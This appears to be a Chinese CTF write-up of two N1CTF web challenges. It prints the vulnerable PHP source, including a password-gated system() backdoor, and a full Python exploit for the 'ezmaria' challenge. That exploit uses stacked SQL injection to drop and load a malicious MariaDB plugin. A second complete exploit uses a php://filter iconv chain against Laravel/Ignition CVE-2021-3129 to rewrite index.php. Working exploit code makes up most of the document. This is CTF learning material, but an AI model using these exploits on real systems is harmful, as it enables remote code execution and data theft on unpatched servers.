ezmaria
<?php
//for n1ctf ezmariadb secret cmd
if ($_REQUEST["secret"] === "lolita_love_you_forever"){
header("Content-Type: text/plain");
echo "\n\n`ps -ef` result\n\n";
system("ps -ef");
echo "\n\n`ls -l /` result\n\n";
system("ls -l /");
echo "\n\n`ls -l /var/www/html/` result\n\n";
system("ls -l /var/www/html/");
echo "\n\n`find /mysql` result\n\n";
system("find /mysql");
die("can you get shell?");
}
//lolita init db
$servername = "127.0.0.1";
$username = "root";
$password = "123456";
$dbn = "ctf";
//phpinfo();
//die();
// 创建连接
//$conn = new PDO("mysql:host=$servername;", $username, $password);
//aaa();
$err = "";
try {
//$conn = new PDO("mysql:host=$servername;dbname=$dbn", $username, $password);
$conn = new mysqli($servername, $username, $password, $dbn);
//echo "连接成功";
}
catch(PDOException $e)
{
//echo $e->getMessage();
$conn = null;
$err = $e->getMessage();
}
?>
<?php
// avoid attack
if (preg_match("/(master|change|outfile|slave|start|status|insert|delete|drop|execute|function|return|alter|global|immediate)/is", $_REQUEST["id"])){
die("你就不能绕一下喵");
}
?>
<?php
$cmd = "select name, price from items where id = ".$_REQUEST["id"];
//$result = $conn->query($cmd);
if ($conn == null) {
//die("连接失败: " . $conn->connect_error);
$result = $err;
$result = "数据库坏了喵\n". $err;
}else{
try {
$result = $conn->multi_query($cmd);
$result = $conn->store_result();
while ($conn->more_results() && $conn->next_result())
{
//do nothing
}
if (!$result){
$result = base64_encode(mysqli_error($conn));
}else{
$result = mysqli_fetch_all($result);
$result = $result[0];
$result = var_export($result, true);
}
}catch(Exception $x){
$result = $x->getMessage();
$result = "报错了喵\n" . base64_encode($result);
}
}
?>
id 直接拼进 SQL,multi_query 原生支持一次执行多条 SQL 语句,堆叠注入。WAF 拦了 outfile,dumpfile 和 load_file 没拦,/usr/bin/mariadb 有 cap_setfcap,可以提权
# web/ezmaria/environment/app/files/start.sh:8-12
echo $FLAG > /flag
chmod 600 /flag
unset FLAG
setcap CAP_SETFCAP=ep /usr/bin/mariadb
# web/ezmaria/environment/app/files/mysql.sh:4
su mysql -c "mariadbd --skip-grant-tables --secure-file-priv='' --datadir=/mysql/data --plugin_dir=/mysql/plugin --user=mysql"
exp 如下
#!/usr/bin/env python3
import re
import time
import urllib.parse
import urllib.request
from pathlib import Path
BLOCKED = re.compile(
r"master|change|outfile|slave|start|status|insert|delete|drop|execute|function|return|alter|global|immediate",
re.I,
)
HERE = Path(__file__).resolve().parent
def sql_blob(data: bytes) -> str:
hex_text = data.hex()
parts = []
index = 0
while index < len(hex_text):
size = min(64, len(hex_text) - index)
while size > 2 and BLOCKED.search(hex_text[index:index + size]):
size -= 2
parts.append("'" + hex_text[index:index + size] + "'")
index += size
return "CONCAT(" + ",".join(parts) + ")"
def post(url: str, statement: str) -> str:
if BLOCKED.search(statement):
raise SystemExit("statement blocked by filter")
body = urllib.parse.urlencode({"id": statement}).encode()
request = urllib.request.Request(url, data=body)
with urllib.request.urlopen(request, timeout=120) as response:
return response.read().decode("utf-8", "replace")
def main():
url = "http://127.0.0.1:8087/"
server = (HERE / "server.so").read_bytes()
client = (HERE / "client.so").read_bytes()
post(url, f"1; SELECT UNHEX({sql_blob(server)}) INTO DUMPFILE '/mysql/plugin/pwnsrv.so'")
post(url, f"1; SELECT UNHEX({sql_blob(client)}) INTO DUMPFILE '/mysql/plugin/capcli.so'")
post(url, "1; CREATE DATABASE IF NOT EXISTS mysql")
post(
url,
"1; CREATE TABLE IF NOT EXISTS mysql.plugin ("
" name varchar(64) DEFAULT '' NOT NULL,"
" dl varchar(128) DEFAULT '' NOT NULL,"
" PRIMARY KEY (name)"
" ) engine=Aria transactional=1 CHARACTER SET utf8mb3"
" COLLATE utf8mb3_general_ci comment='MySQL plugins'",
)
post(url, "1; INSTALL PLUGIN pwnsrv SONAME 'pwnsrv.so'")
for _ in range(20):
page = post(url, "0 union select 1,load_file('/tmp/flagout')")
match = re.search(r"flag\{[^}]+\}", page)
if match:
print(match.group(0))
return
time.sleep(0.5)
raise SystemExit("no flag")
if __name__ == "__main__":
main()
# python3 web/ezmaria/poc/exploit.py
# flag{test_flag}
laravel
FROM ubuntu:20.04
# Official challenge image: Ubuntu 20.04, Laravel 8.4.2, facade/ignition 2.5.1.
# PHP comes from the distro archive so the iconv encodings match the filter chain.
# phar is removed only after Composer finishes, matching the remote "no phar" rule.
# Composer 2.2 is the last line that still installs on this PHP.
ENV DEBIAN_FRONTEND=noninteractive \
TZ=Asia/Shanghai \
LANG=C.UTF-8 \
COMPOSER_ALLOW_SUPERUSER=1 \
FLAG=flag{laravel_testflag}
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime \
&& echo "$TZ" > /etc/timezone \
&& sed -i \
-e 's|http://archive.ubuntu.com/ubuntu|http://old-releases.ubuntu.com/ubuntu|g' \
-e 's|http://security.ubuntu.com/ubuntu|http://old-releases.ubuntu.com/ubuntu|g' \
/etc/apt/sources.list \
&& apt-get update \
&& apt-get install -y --no-install-recommends \
ca-certificates \
unzip \
zip \
git \
php \
php-cli \
php-curl \
php-common \
php-mbstring \
php-xml \
php-zip \
&& rm -rf /var/lib/apt/lists/* \
&& php -r "copy('https://getcomposer.org/download/2.2.25/composer.phar', '/usr/local/bin/composer');" \
&& chmod +x /usr/local/bin/composer
RUN composer create-project --prefer-dist --no-interaction laravel/laravel /laravel "8.4.2"
WORKDIR /laravel
RUN composer require --dev --no-interaction facade/ignition==2.5.1 \
&& (test -f .env || cp .env.example .env) \
&& sed -i 's/^APP_ENV=.*/APP_ENV=local/' .env \
&& sed -i 's/^APP_DEBUG=.*/APP_DEBUG=true/' .env \
&& php artisan key:generate --force \
&& rm -f /etc/php/7.4/cli/conf.d/*phar* \
&& chmod a-w -R /laravel \
&& chown www-data:www-data /laravel/public/index.php \
&& chmod u+w /laravel/public/index.php \
&& chown -R www-data:www-data /laravel/storage /laravel/bootstrap/cache \
&& chmod -R u+rwX /laravel/storage /laravel/bootstrap/cache \
&& printf '%s\n' "${FLAG}" > /flag \
&& chmod 644 /flag
COPY entrypoint.sh /entrypoint.sh
RUN chmod 755 /entrypoint.sh
EXPOSE 8000
ENTRYPOINT ["/entrypoint.sh"]
Laravel 8.4.2,ignition 2.5.1,debug 开着,一看就是 CVE-2021-3129,但是 phar 禁用了。具体阅读下漏洞代码
// /laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:65-87
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
很显然是可以打 php-filter-chain,但是viewFile 不是 include,需要 Ignition 先读出来,过一遍 token 检查,再写回同一个文件。
生成方式和陆队博客写的 php filter chain 一样,先用 UTF-8 -> ISO-2022-KR 在内容前面塞进 \x1b$)C,base64 之后只剩下一个字符 C,再用每一组 iconv 往 base64 前面补一个字符,补完之后做一次 base64-decode,得到的就是我们要的 PHP,后面跟着原来文件的脏数据。这题的 PHP 是 glibc,这组过滤器能创建。有两个点要自己处理:
- 过滤器写成
read=。不写的话,file_put_contents写回去时同一套链会再跑一遍,内容被写坏。 - payload 末尾加
__halt_compiler()。脏数据还在,但 PHP 不再解析它。
#!/usr/bin/env python3
import base64
import json
import time
import urllib.error
import urllib.request
conversions = {
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
'5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
'6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
'8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
'=': ''
}
def chain(payload, resource):
encoded = base64.b64encode(payload.encode()).decode().replace("=", "")
filters = "convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|"
for char in encoded[::-1]:
filters += conversions[char] + "|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
return "php://filter/read=" + filters + "/resource=" + resource
def main():
base = "http://127.0.0.1:8000"
view = chain('<?php echo file_get_contents("/flag");__halt_compiler();', "/laravel/public/index.php")
body = json.dumps({
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {"variableName": "username", "viewFile": view},
}).encode()
request = urllib.request.Request(
base + "/_ignition/execute-solution",
data=body,
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
urllib.request.urlopen(request, timeout=60).read()
except urllib.error.HTTPError:
pass
for _ in range(8):
with urllib.request.urlopen(base + "/", timeout=30) as response:
flag = response.read().decode("utf-8", "replace")
if flag.startswith("flag{"):
print(flag, end="" if flag.endswith("\n") else "\n")
return
time.sleep(0.5)
raise SystemExit("no flag")
if __name__ == "__main__":
main()
# python3 web/laravel/poc/exploit.py
# flag{test_flag}

